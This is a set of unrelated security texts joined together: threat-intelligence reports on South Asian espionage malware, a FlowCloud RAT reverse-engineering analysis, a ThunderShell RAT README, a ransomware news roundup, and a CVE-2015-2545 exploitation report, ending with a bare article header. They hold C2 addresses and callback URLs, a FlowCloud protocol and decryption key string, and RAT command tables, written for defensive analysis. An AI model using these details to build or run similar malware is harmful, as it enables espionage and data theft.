Individual countries within the Indo-Pak subcontinent are increasingly involved in cyber attacks and targeted espionage campaigns. South Asia is no stranger to deeply rooted conventional conflict, which is most often a strong harbinger of cyber conflict. On March 17th, 2013, the Norwegian-based global telecommunications provider Telenor reported a network breach from an unknown sophisticated threat actor that targeted Telenor executives using custom malware implants. The attackers were responsible for pilfering email archives and documents from Telenor executives, compromising their intellectual property and business operations.
Nearly two months later, the Norwegian antivirus and security firm Norman issued an investigative analysis report titled *Operation Hangover: Unveiling an Indian Cyberattack Infrastructure* that detailed cyber espionage activities associated with the Telenor compromise. They noted similar targeting campaigns that were observed exploiting numerous industries and organizations within Norway, Pakistan, the US, Iran, China, Taiwan, Thailand, Jordan, Indonesia, the UK, Germany, Austria, Poland, and Romania. Norman speculated that a group associated with an identified private Indian information security company likely carried out the espionage campaigns.
Norman’s 43-page assessment concluded that a sophisticated Indian exploitation team was indeed responsible for the network breach and Telenor compromise. The TCIRT believes that a possible theory that supports an Indian attack scenario is that the Telenor subsidiary, Telenor Pakistan, is a strategic communications infrastructure provider. Telenor Pakistan provides voice, data content, and mobile communications to more than 3,500 cities and towns within Pakistan. Persistent remote Indian access to a strategic communications service provider, such as Telenor Pakistan, would certainly yield unparalleled signals intelligence collection capability. The information obtained would be of strategic value to Indian intelligence services.
### New Findings
In light of the recent revelation of Indian involvement in the targeting of Telenor, it is critical for us to consider the borderless nature of cyber espionage and to understand how regional cyber conflicts can spill across geographies and affect critical commercial business operations.
As part of an ongoing TCIRT focused research and analysis, we have found custom malware being used operationally “in the wild” that may be targeting Indian military and government-related entities, as well as other unidentified South Asian targets. This activity is possibly linked to an identified Pakistani information security company.
### The Malware
In late May 2013, TCIRT identified a malicious file hosted at 199.91.173.43/new_salary/salary_revision.scr (Kansas City, Missouri). This file was a self-extracting (SFX) archive that, when executed, presents the target victim with a 12-page decoy PDF document. The document was an official Government of India (GoI), Ministry of Defense (MoD) pension memorandum of record. It is highly likely that the malware and decoy document would be tailored for and delivered to specific recipients associated with the GoI or MoD.
The SFX dropper contained multiple custom executable files, as well as legitimate Microsoft Visual C++ Runtime Library files, which are part of the codebase used to develop and required to execute the backdoor code. The malware also uses the legitimate cURL library in the form of libcurld.dll. The open-source cURL library is a multiprotocol transfer library used primarily for FTP and HTTP transactions. The main backdoor component is found in winsocks.exe. The files ExtractPDF.exe and Start.exe simply serve as utilities to open the PDF file and execute the winsocks.exe backdoor component. When executed, the winsocks.exe backdoor requests a PHP update callback at 199.91.173.43/fetch_updates_8765.php?compname=<COMPUTERNAME>.
A version.txt file is also requested by the malware. This file contained a version number 1.0, likely denoting the version of the backdoor and/or the command and control (C2) backend. The winsocks.exe backdoor also contains hardcoded strings of Office file extensions, telegraphing the likely intention of the attackers in collecting and exfiltrating office automated documents from victim networks.
Another variant of this backdoor uses the same winsocks.exe with a different dropping mechanism and was found at 199.91.173.43/Classified_Video.flv.scr and 199.91.173.43/sarbajit_leaked_video.wmv.scr. Both of these .scr files have the same MD5.
In this SFX, Windows batch files had replaced the ExtractPDF.exe and Start.exe with a decoy Flash video (FLV) file used in place of the decoy PDF. An FLV file is an interesting choice of decoy document since it is not a standard video format for media players. The dynamic DNS domains windowsupdate.no-ip.biz and masalavideos.no-ip.biz were also being mapped to IP Address 199.91.173.43 as of late May 2013, when the video-themed malicious attachments were being operationalized. When opened, the flash video simply displays a couple kissing passionately. Implementing the use of free dynamic DNS services, such as those of NO-IP within targeting and exploitation phases of attack, are very common techniques used by a variety of sophisticated threat groups.
The file sarbajit_leaked_video.wmv.scr contains a compile time of May 28, 2013, 19:53:26 UTC. The filename is possibly a misspelled reference to Sarabjit Singh, an Indian national who was arrested and convicted of terrorism and espionage charges in 1991 by Pakistani authorities. After a protracted 22-year legal battle, Sarabjit Singh would become the victim of a severe beating by Pakistani prisoners and would later die of his injuries in a Lahore hospital on May 2, 2013. News of the attack and subsequent death of Sarabjit Singh incited protests in India that increased regional Indo-Pakistani tensions and served as a catalyst for bilateral governmental negotiations between Delhi and Islamabad. This file was created 26 days after the death of Sarabjit Singh and would be of relevance to targeted Indian entities, much like the official Government of India (GoI), Ministry of Defense (MoD) pension memorandum.
### Significant Malware Artifacts
**Operational Caveat:** It is important to note that there are information gaps which diminish our ability to establish a definitive explanation for the malicious activity and identify the responsible entities behind the authorship and use of the identified malware. Below the TCIRT simply highlights the facts associated with specific artifacts identified within the malware.
Most of the dropped malware binaries contained a debug string that sheds light on the possible developers and operators of the malware. The significance of the username Tranchulas within the debug path of the winsocks.exe binary is that Tranchulas is a Pakistani information security consulting company with offices in the United Kingdom, United States, and Pakistan. The CEO of Tranchulas is Zubair Khan, a Pakistani national and information security executive who has “been researching mainly on [sic] cyber warfare.” Khan also likely maintains a close relationship to the Pakistani government.
According to this online biography, he is responsible for the penetration testing of Pakistani homeland security solutions and has consulted for the Pakistani National Database and Registration Authority (NADRA). Proximity to such sensitive security programs suggests a certain level of trust on behalf of the Pakistani government and may indicate that official Pakistani entities could have access to Tranchulas technical support for various security projects or programs. An ironic, yet noteworthy observation is that the Tranchulas website boasts Telenor as a client. Tranchulas also serves as an official sponsor for the Pakistan CERT in addition to maintaining the official Pakistan CERT website (cert.org.pk).
On July 2, 2013, a similar file windefender.exe (MD5: a21f2cb65a3467925c1615794cce7581) was identified containing a strong association to Tranchulas. This particular binary contained the following debug string: C:\Users\umairaziz27\Documents\Visual Studio 2008\Projects\usb\Release\usb.pdb. The username “UmairAziz27” reveals a Twitter account @umairaziz27 for an “Optimistic Patriot by choice” who is “Working as InfoSec Analyst at @Tranchulas.” Umair Aziz (umairaziz27) maintains a LinkedIn professional profile that highlights his employment at Tranchulas and reveals that he was educated at the National University of Sciences and Technology School of Electrical Engineering and Computer Science (NUST-SEECS) in Pakistan.
A second host within the same 199.91.173.40/29 subnet was also identified hosting similar zipped malware at 199.91.173.45/OBL_Leaked_Report.zip and 199.91.173.45/Naxalites_Funded_By_Pakistan.zip. The OBL_Leaked_Report.zip contained a .scr file that drops a decoy document pertaining to the alleged incompetence of Pakistani authorities in locating Osama Bin Laden (OBL). This OBL malware drops a windefender.exe backdoor component (MD5: 35663e66d02e889d35aa5608c61795eb). In this case, the debug string is: C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb.
The binaries that contain the “umairaziz27” and “Cert-India” debug strings are designed to call back to 199.91.173.45/fetch_updates_8765_tb.php?compname=<COMPUTERNAME> and 199.91.173.45/is_array.php?compname=<COMPUTERNAME>. Meanwhile, the Naxalites_Funded_By_Pakistan.scr file drops a slightly different malware component and an alternate decoy document. The dropped implant, showppt.scr (MD5: 165ac370b54e664812e4c15b2396ccd6), is a downloader that connects to 199.91.173.45/ and downloads both legitimate library files and malicious second stage binaries.
### Working Hypotheses
The use of Tranchulas and UmairAziz27 in the malware debugging paths, in addition to the multiple targeting campaigns that maintain themes likely aimed at Indian entities or involving Pakistan-related issues, leads us to assess the following competing hypotheses which may be considered as plausible explanations for the identified activity:
1. Tranchulas developed the malicious binaries and staged them for offensive exploitation operations on behalf of an unidentified customer.
2. Tranchulas developed and sold the malicious binaries to an unidentified customer, where they were later operationalized by an unidentified entity.
3. An unidentified third party unaffiliated with Tranchulas developed the malware, deliberately including misleading software artifacts as a direct effort to create speculation and shift blame toward Tranchulas.
4. A rogue Tranchulas employee used company resources without company knowledge to develop the malware, where an unknown operator later used it offensively.
5. Indian entities actively sought and utilized the services of the Pakistan-based information security company, Tranchulas, for an officially sanctioned and authorized penetration test. The malicious implants were subsequently developed and used as part of official Tranchulas service offerings, while the files and infrastructure used for the audit were submitted to publicly available malware analysis services.
6. An unidentified Indian entity developed and used this malware as a realistic simulated exercise to perform penetration testing and evaluate their readiness in the event of actual Pakistani affiliated offensive network operations. The files and infrastructure used for the simulation were submitted to publicly available malware analysis services.
### Conclusion
Considering the long-standing regional tensions between India and Pakistan, South Asia serves as a likely flashpoint for conventional conflict to carry over and play out within cyberspace. Public and private sectors alike should begin to increase their awareness of emerging cyber threats from the lesser-known middle powers. Regardless of sophistication, these threats may support future belligerents who have or will eventually possess the capability and intent to disrupt critical business operations.
Details associated with this threat have been shared with the ThreatConnect Community within Incident “20130731A: South Asia Cyber Espionage Heats Up”. If you or your organization is interested in obtaining crowd-sourced threat intelligence that increases your awareness of emerging cyber threats, please register at ThreatConnect.com and join our community.
**Tags:** Cyber Espionage, India, Pakistan, South Asia, Telenor |
# FlowCloud Version 4.1.3 Malware Analysis
Proofpoint researchers are continuing to track the threat actor TA410’s use of FlowCloud, a remote access trojan (RAT). Below is a new in-depth analysis of another version of the FlowCloud RAT, version 4.1.3. While we do not have many campaign details or targeting information on this particular sample, this is another version of FlowCloud in the wild. Earlier this week we provided an analysis of version 5.0.1, which was used during the targeting of critical U.S. utility providers last year.
It is currently unclear which of the versions is the “newer one” or if there are distinct variants of FlowCloud being used for different purposes. The version we previously detailed had an older compilation date (December 15, 2018 – it is unclear whether the date is forged), but a newer internal version (5.0.1) than the sample discussed here.
One major difference between the two is that version 5.0.1 is written in C++ using extensive object-oriented programming, Boost library, and a C++ implementation of Protocol buffers—version 4.1.3 was written in C without any object-oriented techniques and used a C implementation of Protocol buffers. Version 5.0.1 also makes use of SHA512, a modified (or broken) AES, and TEA algorithms instead of the MD5 and RC4 as described below. In general, version 5.0.1 was a larger and more difficult malware to reverse engineer.
FlowCloud has typical RAT functionality such as access to the filesystem, processes, and services, screenshots, keylogging, command shell, and added functionality via plugins. It also includes port mapping and Nmap port scanning to help facilitate lateral movement. Although the additional functionality was not implemented in the analyzed sample below, there are indicators in the code and configuration data that suggest support for audio recording, clipboard stealing, and exfiltrating files based on specific search criteria such as file type and name pattern. These might be implemented via FlowCloud’s plugin mechanism or may be present in other versions of the malware.
In this blog post we will analyze the following FlowCloud sample:
**SHA256**: b75e1391fcb558e42cc05399fa716829114323e1d01aa284445955548302d71f
Per its metadata, it is version 4.1.3 and was compiled on March 21, 2019 (it is unclear whether the date is forged). It was recently uploaded to VirusTotal on May 12, 2020 by a submitter from Taiwan. At the time of research, the command and control (C&C) server (114.55.109[.]199) was still active.
## Naming
The name “FlowCloud” comes from a debugging string left in one of the earlier samples we found:
`g:\FlowCloud\trunk\Dev\src\fcClient\Release\fcClientDll.pdb`
The name was also used in the configuration data of the sample analyzed for this blog post as the “product_name”:
1 (product_name): "flowcloud"
2 (product_version): "v4.1.3"
## Protocol Buffers
FlowCloud makes extensive use of a data structure known as Protocol buffers (“protobufs”) in its configuration and C&C communications. “Protocol buffers are Google's language-neutral, platform-neutral, extensible mechanism for serializing structured data – think XML, but smaller, faster, and simpler. You define how you want your data to be structured once, then you can use special generated source code to easily write and read your structured data to and from a variety of data streams and using a variety of languages.”
As an example, in the analyzed sample, FlowCloud stores its configuration data as a 3344-byte serialized protobuf.
Using the Protocol buffer compiler (“protoc”), the serialized data can be deserialized into a more human-readable format.
To recover the names of the fields, the associated ProtobufCMessageDescriptor and ProtobufCFieldDescriptor structures can be identified.
We have included an IDA Pro Python script on our GitHub that can be used to parse and display some of the important fields of these structures.
The “id” numbers from the structures can be matched with the deserialized data for labeling.
The ProtobufCMessageDescriptor structure also starts with magic bytes (e.g. 0x28aaeef9), so these can be used to identify all the protobufs compiled into the malware. In the analyzed sample there were 78 protobufs included.
## Configuration
In the analyzed sample, a working directory was set up in:
`C:\Windows\Fonts\zitbee.fon\`
The fully labeled configuration data is available on our GitHub. Most of its fields are self-identifying and include things such as:
- C&C addresses (e.g. “exchange_server”)
- C&C ports (e.g. “exchange_server_port”)
- Encryption keys (e.g. “xchg_server_key”)
- Various installation options (e.g. “install_config”)
- Various command options (e.g. “keyboard_policy”)
The configuration data is also stored as a serialized protobuf and encrypted in a “winver.dat” file. It is encrypted using a basic XOR and addition algorithm. We have included a Python script that can be used to decrypt this config file on our GitHub.
## Dependencies
FlowCloud uses HTTP to download some dependencies from its C&C server (“exchange_server: exchange_server_port+1” from the config). The URIs are hardcoded into the sample. The response data starts with an encrypted 16-byte header:
- Header key (DWORD)
- CRC32 checksum (DWORD)
- Decrypted/decompressed data length (DWORD)
- Encrypted/compressed data length (DWORD)
The header key is used with some XOR and ROR operations to decrypt the remaining bytes of the header.
After the header, there is RC4 encrypted data. The RC4 key is generated by taking a hardcoded string (e.g. “y983nfdicu3j2dcn09wur9*^&(y4r3inf;'fdskaf'SKF”) and hashing its hex digest 1000 times with MD5.
The decrypted data starts with another 16-byte header as described above. The data that follows this inner header is ZLIB compressed and once decompressed contains a PE file. The downloaded dependencies include:
- /SL3716/S8437AEB.DAT - SQLite
- /WC413/21FB9FCF.DAT - Nmap
- /WC413/6EE2EFF7.DAT - Packet.dll (used with Nmap)
- /WC413/67B1B02F.DAT - wpcap.dll (used with Nmap)
We have included a Python script on our GitHub that can be used to decrypt these dependencies.
## Command and Control
C&C uses a binary protocol over TCP to “exchange_server:exchange_server_port” from the config. Both requests and responses are structured similarly. They start with a 28-byte header called “HHDR”:
- Header key (DWORD)
- CRC32 checksum (DWORD)
- “HHDR” (DWORD)
- Unknown counter (DWORD)
- Unknown hardcoded 1 (DWORD)
- Data length (DWORD)
- Unknown hardcoded 1 (BYTE)
- Hash type (BYTE) (1 is MD5)
- Compression type (BYTE) (1 is ZLIB)
- Crypto type (BYTE) (2 is RC4)
The header key is used with some XOR and ROR operations to decrypt the remaining bytes of the header.
Following “HHDR” is a 24-byte header called “HCMD”:
- Header key (DWORD)
- CRC32 checksum (DWORD)
- “HCMD” (DWORD)
- Command (DWORD)
- Subcommand (DWORD)
- Data length (DWORD)
The header key is used with some XOR and ROR operations to decrypt the remaining bytes of the header.
Following the “HCMD” header is a 16-byte header as described above in the “Dependencies” section. After the third header, there is RC4 encrypted data. The RC4 key for this data is generated by taking the “xchg_server_key” from the config and hashing its hex digest one time with MD5. Once the data is decrypted, there is a final 16-byte header and ZLIB compressed data.
We have included a Python script on our GitHub that can be used to decrypt these requests or responses.
The decrypted data is a serialized protobuf. For example, the names of the protobufs involved with command 1 subcommand 2 are:
- FcNet__MsgUsr
- FcNet__MsgUsr__System
- FcNet__MsgUsr__System__Adapter
This command is used to send various system information to the C&C server.
## C&C Commands
We have identified the following commands that can be executed via C&C command polls:
**Command 2 – filesystem related**
- Subcommand 0 - get drive information
- 1 - get directory listing
- 2 - create directory
- 3 - rename directory
- 4 - write file
- 5 - read file
- 6 - remove directory
- 7 - get file attributes
- 8 - set file attributes and times
- 9 - add file to "filemgr" list
- 10 - search directory for files with a given file name pattern
- 11 - ShellExecute "open" file with arguments
- 12 - add directory to "folderimage" list
**3 – take a screenshot**
**5 – Exfiltrate data related**
- 0 - get exfiltrate data size
- 1 - get exfiltrate data file count
- 2 - get exfiltrate data item list
- 3 - change status of exfiltrate data
**6 – process related**
- 0 - get process list
- 1 - kill process
**7 – service related**
- 0 - get service list
- 1 - start service
- 2 - stop service
- 3 - delete service
- 4 - set service start type
**9 – system related**
- 0 - get installed software
- 4097 – reboot
- 4098 – reboot
- 4099 – NtRaiseHardError
- 4100 – copy %SYSTEM%\winver.exe to %WIN%\System\winver.exe then NtRaiseHardError
**10 – cmd.exe command shell**
- 4097 – write command to shell
**11 – lateral movement related**
- 4097 - setup port mapping
- 4098 - remove port mapping
- 4099 - get port mappings
- 8193 - start Nmap scan
- 8194 - replies with "Unsupported yet."
- 8195 - get Nmap scan results
## Data Exfiltration Managers
In addition to the C&C commands, FlowCloud has some additional functionality organized as “data exfiltration managers" that include:
- “filemgr” – exfiltrate files as specified by a C&C command
- “folderimage” – exfiltrate directories as specified by a C&C command
- “screen” - exfiltrate screenshots
- “keylog” - exfiltrate keylogging data
Keylogging data is gathered by an external program and sent to FlowCloud via a named pipe (e.g. “\\.\pipe\namedpipe_keymousespy_english”)
- “audio” - possibly audio recording
The config and code hint at this functionality, but it is not implemented in the analyzed sample
- “smtfile” - possibly search for and exfiltrate files based on file types and name patterns
The config and code hint at this functionality, but it is not implemented in the analyzed sample
- “plugin” - download and execute additional plugins
PE file exports associated with plugins:
- “pluginInfo”
- “startModule”
- “setOtherInterface2”
- “clipboard” - possibly steal clipboard contents
The config and code hint at this functionality, but it is not implemented in the analyzed sample
These exfiltration managers run in their own execution threads and some are controlled by “policies” in the config. They store their data in various SQLite databases and then another execution thread will eventually exfiltrate the data to the C&C server.
As an example, the “screen” exfiltration manager takes continuous screenshots according to its “screen_policy”:
- state – is policy active
- cycle_time – sleep time between screenshots
- cache_count – maximum number of screenshots waiting to be exfiltrated
- bit_depth – bit depth of screenshot
A screenshot is taken. Depending on its size, the data may be broken up into chunks. The data is then compressed with ZLIB and encrypted with RC4 (uses “file_key” from config). As described above, 16-byte encrypted headers are attached to the compressed and encrypted data.
Two additional headers are prepended to the compressed and encrypted data. They are encrypted similarly to the 16-byte, 28-byte, and 24-byte headers above. The first header is 96-bytes:
- Header key (DWORD)
- CRC32 checksum of header (DWORD)
- CRC32 checksum of data (DWORD)
- Product name (16-bytes)
- Product version (16-bytes)
- Unknown hardcoded 1 (DWORD)
- Timestamp (QWORD)
- File attributes (DWORD)
- Data length (QWORD)
- Creation time (QWORD)
- Last access time (QWORD)
- Last write time (QWORD)
- Length of the next header (DWORD)
The second header is at least 24-bytes, but its length depends on the number of data chunks and length of a filename:
- Header key (DWORD)
- CRC32 checksum of header (DWORD)
- Header length (DWORD)
- Offset to end of chunk list (DWORD)
- Offset to start of chunk list (DWORD)
- Number of chunks (DWORD)
- File name and chunk list (variable length)
The encrypted screenshot data is then saved to a SQLite database. In the analyzed sample, this was stored in the file “data\E70EEF62”. We have included an example of the schema used on our GitHub, but it basically consists of a “file” table to store metadata about the data to exfiltrate and a “file_data” table that stores the data.
Periodically a separate execution thread will go through the SQLite databases created by the exfiltration managers and send the data to the C&C server. It uses the same C&C protocol as described above, but using the “file_server,” “file_server_port,” and “file_server_key” values from the config.
The Proofpoint threat research team analyzed and performed reverse engineering on a recently discovered version (4.1.3) of the FlowCloud RAT. While the version that we analyzed is for Windows only, we believe that there may be additional variants. One piece of evidence that may support the theory that there are additional FlowCloud variants is the “plateform” (sic) field detailed above. This is an enumerated data type that can have the following values:
- FC_NET__USR_LIST__USR__SYSTEM__PLATEFORM_TYPE__WINDOWS
- FC_NET__USR_LIST__USR__SYSTEM__PLATEFORM_TYPE__LINUX
- FC_NET__USR_LIST__USR__SYSTEM__PLATEFORM_TYPE__MAC
- FC_NET__USR_LIST__USR__SYSTEM__PLATEFORM_TYPE__ANDROID
While we have only seen versions of FlowCloud for Windows, this implies there may be other implementations of FlowCloud for other operating systems.
## ET and ETPRO Suricata/SNORT Signatures
- 2842895 - ETPRO MALWARE FlowCloud Dependency Download M1
- 2842896 - ETPRO MALWARE FlowCloud Dependency Download M2
- 2842897 - ETPRO MALWARE FlowCloud Dependency Download M3
- 2842898 - ETPRO MALWARE FlowCloud Dependency Download M4 |
# ThunderShell
ThunderShell is a C# RAT that communicates via HTTP requests. All the network traffic is encrypted using a second layer of RC4 to avoid SSL interception and defeat network detection on the target system. RC4 is a weak cipher and is used to help obfuscate the traffic. HTTPS options should be used to provide integrity and strong encryption. Information on how to use the tool and its supported features is located on the Wiki.
## Be nice
If you like ThunderShell and are using it to accomplish your work, consider donating to the project to help keep it alive. This project is 100% developed on our own time for free.
With love, Mr.Un1k0d3r
## Current beta version
Current release is 3.1.2
## Credits
- Mr.Un1k0d3r @MrUn1k0d3r
- Tazz0 @Tazz019
- RingZer0 Team 2017 |
# The Week in Ransomware - April 1st 2022 - 'I can fight with a keyboard'
**By Lawrence Abrams**
**April 1, 2022**
**07:07 PM**
While ransomware is still conducting attacks and all companies must stay alert, ransomware news has been relatively slow this week. However, there were still some interesting stories that we outline below.
This week's most interesting story is CNN's report on Conti Leaks, a Ukrainian researcher who has had access to Conti's internal servers for years. After Conti sided with Russia over the invasion of Ukraine, the researcher fought back by leaking internal chats and source code for the Conti Ransomware gang, providing researchers and law enforcement a glimpse into their operations.
Other interesting news is a clever 'IPFuscation' technique used by the Hive ransomware gang to obfuscate payloads by representing them as IP addresses to evade detection. By running the list of IP addresses through a decoder, it results in a binary payload that can be installed.
Contributors and those who provided new ransomware information and stories this week include: @PolarToffee, @FourOctets, @jorntvdw, @LawrenceAbrams, @Seifreed, @serghei, @malwrhunterteam, @DanielGallagher, @VK_Intel, @malwareforme, @Ionut_Ilascu, @struppigel, @demonslay335, @fwosar, @billtoulas, @BleepinComputer, @rivitna2, @MinervaLabs, @Amigo_A_, @SentinelOne, @AquaSecTeam, @ContiLeaks, @snlyngaas, and @pcrisk.
### March 27th 2022
**Hive ransomware ports its Linux VMware ESXi encryptor to Rust**
The Hive ransomware operation has converted their VMware ESXi Linux encryptor to the Rust programming language and added new features to make it harder for security researchers to snoop on victim's ransom negotiations.
### March 28th 2022
**SunCrypt ransomware is still alive and kicking in 2022**
SunCrypt, a ransomware as service (RaaS) operation that reached prominence in mid-2020, is reportedly still active, even if barely, as its operators continue to work on giving its strain new capabilities.
**New KalajaTomorr ransomware**
Amigo-A found a new ransomware that drops a ransom note named Hello.txt.
### March 29th 2022
**Threat Alert: First Python Ransomware Attack Targeting Jupyter Notebooks**
Team Nautilus has uncovered a Python-based ransomware attack that, for the first time, was targeting Jupyter Notebook, a popular tool used by data practitioners. The attackers gained initial access via misconfigured environments, then ran a ransomware script that encrypts every file on a given path on the server and deletes itself after execution to conceal the attack. Since Jupyter notebooks are used to analyze data and build data models, this attack can lead to significant damage to organizations if these environments aren’t properly backed up.
**New Dharma ransomware variant**
PCrisk found a new Dharma ransomware variant that appends the .snwd extension.
### March 30th 2022
**Hive ransomware uses new 'IPfuscation' trick to hide payload**
Threat analysts have discovered a new obfuscation technique used by the Hive ransomware gang, which involves IPv4 addresses and a series of conversions that eventually lead to downloading a Cobalt Strike beacon.
**'I can fight with a keyboard': How one Ukrainian IT specialist exposed a notorious Russian ransomware gang**
As Russian artillery began raining down on his homeland last month, one Ukrainian computer researcher decided to fight back the best way he knew how -- by sabotaging one of the most formidable ransomware gangs in Russia.
### March 31st 2022
**LockBit victim estimates cost of ransomware attack to be $42 million**
Atento, a provider of customer relationship management (CRM) services, has published its 2021 financial performance results, which show a massive impact of $42.1 million due to a ransomware attack the firm suffered in October last year.
**Four new STOP ransomware variants**
PCrisk found new STOP ransomware variants that append the .voom, .mpag, .gtys, or .udla extensions.
That's it for this week! Hope everyone has a nice weekend! |
# CVE-2015-2545: Overview of Current Threats
**Authors**: GReAT
CVE-2015-2545 is a vulnerability discovered in 2015 and corrected with Microsoft’s update MS15-099. The vulnerability affects Microsoft Office versions 2007 SP3, 2010 SP2, 2013 SP1, and 2013 RT SP1. The error enables an attacker to execute arbitrary code using a specially crafted EPS image file. The exploit uses PostScript and can evade Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) protection methods.
The exploit was discovered in the wild in August 2015, when it was used in a targeted attack by the Platinum group, presumably against targets in India. Over the following months, there was significant growth in the number of threat actors using the vulnerability as a primary tool for initial penetration, with both the attack groups and their targets located in South-East and Central Asia and the Far East. In this research paper, we discuss examples of attacks using the CVE-2015-2545 vulnerability undertaken by some of these groups.
## Overview of Groups Using CVE-2015-2545
### Platinum (also known as TwoForOne)
The group is believed to originate from South-East Asia. Its attacks can be traced as far back as 2009. The group is notable for exploiting 0-day vulnerabilities and carrying out a small number of highly focused targeted attacks – mostly against government agencies in Malaysia, Indonesia, China, and India. This group was the first to exploit the CVE-2015-2545 vulnerability. After the vulnerability was corrected with Microsoft updates in September and November 2015, no new Platinum attacks exploiting this vulnerability have been detected. Microsoft presented the activity of this group at the SAS conference in February 2016, and in its paper: PLATINUM: Targeted attacks in South and Southeast Asia.
### APT16
The group has been known for several years and is believed to be of Chinese origin. In November and December 2015, it used a modified exploit for CVE-2015-2545 in attacks against information and news agencies in Taiwan. These attacks were described in a FireEye research paper – The EPS Awakens – Part 2.
### EvilPost
In December 2015, Kaspersky Lab became aware of a targeted attack against the Japanese defense sector. In order to infect victims, the attacker sent an email with an attached DOCX file exploiting the CVE-2015-2545 vulnerability in Microsoft Office using an embedded EPS (Encapsulated Postscript) object. The EPS object contained a shellcode that dropped and loaded a 32-bit or 64-bit DLL file depending on the system architecture. This, in turn, exploited another vulnerability to elevate privileges to Local System (CVE-2015-1701) and download additional malware components from the C&C server.
The C&C server used in the attack was located in Japan and appears to have been compromised. However, there is no indication that it has ever been used for any other malicious purpose. Monitoring of the server activity for a period of several months did not result in any new findings. We believe the attackers either lost access to the server or realized that it resulted in too much attention from security researchers, as the attack was widely discussed by the Japanese security community. According to our research partner in Japan, the original EvilPost attack in December 2015 arrived as a spear-phishing email with a Word document attached. This document embedded an EPS object file, which triggered a vulnerability in the EPS format handler in Microsoft Word. Even with an exploit component, Microsoft Word rendered the document correctly and displayed the decoy message. The document is written in good Japanese, as shown below. It has been used to decoy New Year impressions of defense-related organizations. This attack was also described in the FireEye report.
An overview of the activity of the EvilPost group activity was provided to subscribers of the Kaspersky Lab Threat Intelligence Service in March 2016.
### SPIVY
In March and April 2016, a series of emails laced with an exploit for CVE-2015-2545 were detected. The emails were sent in spear-phishing attacks, presumably targeting organizations in Hong Kong. Identifying a specific group behind these attacks is difficult because they used a new variant of a widely available backdoor known as PoisonIvy (from which the name of the group, SPIVY, is derived).
### Danti and SVCMONDR
These two groups have not yet been publicly described. An overview of their attacks and the tools used is provided in this report.
#### Danti Attacks
Danti (Kaspersky Lab’s internal name) is an APT actor that has been active at least since 2015, predominantly targeting Indian government organizations. According to our telemetry, Danti has also been actively hitting targets in Kazakhstan, Kyrgyzstan, Uzbekistan, Myanmar, Nepal, and the Philippines. The group implemented a new campaign in February and March 2016, using a repurposed implementation of the CVE-2015-2545 exploit with custom shellcode. In order to infect the victim, the attackers distributed spear-phishing emails with an attached DOCX file exploiting the CVE-2015-2545 vulnerability in Microsoft Office. The exploit is based on a malformed embedded EPS (Encapsulated Postscript) object. This contains the shellcode that drops a backdoor, providing full access to the attackers.
**Main Findings:**
- Danti, a previously unknown group, is probably related to NetTraveller and DragonOK.
- In February-March 2016, the group was observed using CVE-2015-2545.
- It remains active, conducting attacks against Indian diplomatic organizations.
- Related attacks have been observed against Central and South East Asia targets.
The campaign leveraging the exploit for CVE-2015-2545 took place in February 2016. As a result, several emails with attached DOCX files were uploaded to VirusTotal. The email recipients were connected to the Indian Ministry of External Affairs.
**Target and Date:**
- **Indian embassy in Hungary**: Mission List.doc, 2nd February
- **Indian embassy in Denmark**: HQ List.doc, 2nd February
- **Indian embassy in Colombia**: HQ List.doc, 2nd February
- **DSFSI**: India’s 10 Top Luxury Hotels.doc, 24th February
- **Chumapost**: India’s 10 Top Luxury Hotels.doc, 29th February
In the case of the Indian Embassy in Hungary, it looks like the original message was forwarded from the embassy to the Indian IT security team in the Ministry of Foreign Affairs and uploaded later to VirusTotal.
**Initial Vector:**
The emails that were analyzed had originally been sent via “3capp-mailcom-lxa06.server.lan”, perhaps using a spam-mailer program. In all known cases, the sender used the same gate at 74.208.4.200/74.208.4.201 (mout.gmx.com). The email messages changed for different waves of the campaign. When the campaign started on February 2nd, the emails carried the subject headers “Mission List” and “HQ List”, and forged the identity of a real sender.
**Original Message Used in the First Wave of Attacks:**
The original email was supposedly forwarded from Anil Kumar Balani, Director of the Department of Information Technology at the Indian Ministry of Communications & Information Technology.
**Mission List Decoy Document:**
At the same time, attackers sent a slightly different document with the subject “HQ List” to other Indian embassies (for example, those in Denmark and Colombia).
**HQ List Decoy Document:**
Both files (“Mission List” and “HQ List”) have different decoy content, but both use the same CVE-2015-2545 EPS exploit (image1.eps, MD5 a90a329335fa0af64d8394b28e0f86c1). Interestingly, as can be seen in their metadata, both files were modified by the user “India” on 01.02.2016, just one day before they were sent to targets.
**For the attacks at the end of February, the attackers decided to use the less relevant subject header of “10 top luxury hotels in India”, sent from an unknown sender.**
**Top Luxury Hotels Spear-Phishing Email:**
This new attachment contains the same EPS exploit but uses a different decoy document and a new payload.
**Exploit:**
The attackers used at least one known 1-day exploit: the exploit for CVE-2015-2545 – EPS parsing vulnerability in EPSIMP32.FLT module, reported by FireEye, and patched by Microsoft on 8 September 2015 with MS15-099. We are currently aware of about four different variants of the exploit.
**March Attack:**
At the end of March 2016, we discovered a new wave of attacks by the Danti group against Indian governmental institutions. On March 28th, several malicious documents were sent to various recipients at the Cabinet Secretariat of Government India from the email account of Ms. Richa Gaharwar, Deputy Secretary at The Department of Administrative Reforms and Public Grievances, the nodal agency of the Government of India.
**Email Sent from the Account of Ms. Richa Gaharwar:**
The message was sent from an internal IP address using Oracle Communications Messenger. This could mean that the employee workstation used to send the malicious emails had been fully compromised. The attachment contains the file “Holidays in India in 2016.docx” with the embedded EPS exploit. This time the attackers used the second variant of the exploit (previously used by the EvilPost and APT16 groups), with minor changes.
**Payload:**
The dropped file is a RarSFX archive. According to comments in the archive, this was also created by a Chinese user. The dropper installs four files in the system. The main loader “PotPlayerMini.exe” is a legitimate multimedia player from Daum Communication. The file is signed with a legitimate signature from Daum Communications Corp.
**Conclusions:**
We are currently aware of at least four different APT actors actively using exploits of the CVE-2015-2545 vulnerability: TwoForOne (also known as Platinum), EvilPost, APT16, and Danti. These groups have their own toolsets of malicious programs. Danti’s arsenal is more extensive than those of EvilPost and APT16, and in terms of functionality can be compared with Platinum. All groups are focused on targets in the Asian region and have never been seen in incidents in Western Europe or the USA.
The use of CVE-2015-2545 exploits is on the rise. In addition to the groups mentioned above, we have seen numerous examples of these exploits being used by traditional cybercriminals in mass mailings. Such attacks mostly target financial institutions in Asia. We expect to see more incidents with this exploit and we continue to monitor new waves of attacks and the potential relationship with other attacks in the region. |
# It’s Your Money and They Want It Now — The Cycle of Adversary Pursuit
## Threat Research
### Van Ta, Aaron Stephens
**Mar 31, 2020**
**9 mins read**
